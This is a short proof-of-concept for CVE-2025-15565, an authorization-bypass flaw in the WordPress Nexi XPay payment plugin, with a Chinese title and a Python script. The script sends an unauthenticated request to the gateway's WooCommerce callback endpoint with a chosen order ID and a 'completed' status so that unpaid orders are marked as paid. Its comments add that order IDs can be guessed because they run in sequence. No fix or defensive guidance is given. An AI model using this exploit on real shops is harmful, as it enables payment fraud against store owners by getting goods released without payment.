CVE-2025-15565 WordPress Nexi XPay插件权限绕过漏洞

# Proof of Concept for CVE-2025-15565 # This script demonstrates unauthorized order status modification. # Note: The exact endpoint URL may vary based on plugin configuration. import requests def exploit(target_url, order_id): # The vulnerable endpoint is typically the WooCommerce API callback for the gateway # Example: http://target.com/?wc-api=WC_Gateway_XPay_Process_Completion endpoint = f"{target_url}/?wc-api=WC_Gateway_XPay_Process_Completion" # Parameters to simulate a successful payment callback # Attackers can guess valid order_ids as they are often sequential. params = { "order_id": order_id, "status": "completed", # or specific flag indicating success "id_order": order_id # some plugins use different param names } try: # Send unauthenticated GET/POST request response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully to {endpoint}") print(f"[+] Attempted to mark Order ID {order_id} as paid.") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL and a valid Order ID target = "http://example.com" order = "12345" exploit(target, order)